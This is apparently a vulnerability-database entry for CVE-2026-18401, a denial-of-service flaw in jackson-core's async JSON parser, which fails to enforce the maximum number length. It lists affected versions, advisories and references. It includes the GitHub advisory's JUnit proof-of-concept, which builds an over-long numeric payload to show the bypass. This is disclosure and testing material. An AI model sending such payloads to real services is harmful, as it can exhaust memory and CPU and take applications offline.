CVE-2026-18401
mediumpriority · track · 0EPSS 0.004 · 34 %ileDEEUFRUSEPSS · scored 2026-10-24
The non-blocking (asynchronous) JSON parser in jackson-core does not enforce the maxNumberLength constraint defined in StreamReadConstraints (default: 1000 characters). An attacker able to submit JSON to an application that uses the async parser API can supply a number token of arbitrary length, leading to excessive memory allocation and potential CPU exhaustion, resulting in a denial of service. The synchronous parser enforces this limit correctly, so the constraint is applied inconsistently depending on which parsing API the application uses. Root cause: the async parsing path in NonBlockingUtf8JsonParserBase and related classes never invokes the number length validation methods. Number parsing methods such as _finishNumberIntegralPart() accumulate digits into the TextBuffer without any length check, then call _valueComplete() to finalize the token. _valueComplete() does not call resetInt() or resetFloat(), which are the methods in ParserBase where validateIntegerLength() and validateFPLength() are performed. Because that validation step is skipped, maxNumberLength is never enforced on the async code path. Impact: an attacker sending a JSON document containing an arbitrarily long number to an application using the async parser (for example a Spring WebFlux or other reactive application) can cause unbounded allocation in the TextBuffer and an OutOfMemoryError. If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM may additionally be tied up in O(n^2) BigInteger parsing, causing CPU-based denial of service. No privileges or user interaction beyond the ability to submit data for parsing are required. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.5 and from 2.19.0 through 2.21.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.0.x. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-72hv-8253-57qq records the lower bound of the affected 2.x range as 2.0.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 2.7–6.9
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
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affected products (12)
Products and version ranges known to be affected.
- Maven com.fasterxml.jackson.core:jackson-core2.15.0 → 2.18.6osvUSpkg:maven/com.fasterxml.jackson.core/jackson-core
- Maven com.fasterxml.jackson.core:jackson-core2.19.0 → 2.21.1osvUSpkg:maven/com.fasterxml.jackson.core/jackson-core
advisories (5)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-0555FasterXML Jackson: Schwachstelle ermöglicht Denial of ServiceDeutsch2026-03-01csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann eine Schwachstelle in FasterXML Jackson ausnutzen, um einen Denial of Service Angriff durchzuführen.
- WID-SEC-W-2026-3244Adobe Experience Manager: Mehrere SchwachstellenDeutsch2026-09-08csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in Adobe Experience Manager ausnutzen, um beliebigen Programmcode auszuführen, Berechtigungen zu erweitern, Cross-Site-Scripting-Angriffe durchzuführen oder Sicherheitsmaßnahmen zu umgehen.
- WID-SEC-W-2026-3595IBM QRadar SIEM: Mehrere SchwachstellenDeutsch2026-09-27csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM QRadar SIEM ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen und um Sicherheitsvorkehrungen zu umgehen.
- GHSA-72hv-8253-57qqjackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition2026-02-28ghsa · osvUS
### Summary The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. ### Details The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation. - The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks. - After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`. - The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed. - Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path. ### PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. ```java package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } ``` ### Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`. 2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS. ### Suggested Remediation The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers. **NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
- CERTFR-2026-AVI-1336Multiples vulnérabilités dans les produits IBMFrançais2026-10-16vendor · certfrFR
also known as (3)
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sources
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references (9)
External citations — patches, advisories, analysis.
- https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cfcnnvd
- https://github.com/FasterXML/jackson-core/pull/1555cnnvd
- https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qqcnnvd
- https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cfenisa_euvd
- https://github.com/FasterXML/jackson-core/pull/1555enisa_euvd
- https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qqenisa_euvd
- https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cfnvd
- https://github.com/FasterXML/jackson-core/pull/1555nvd
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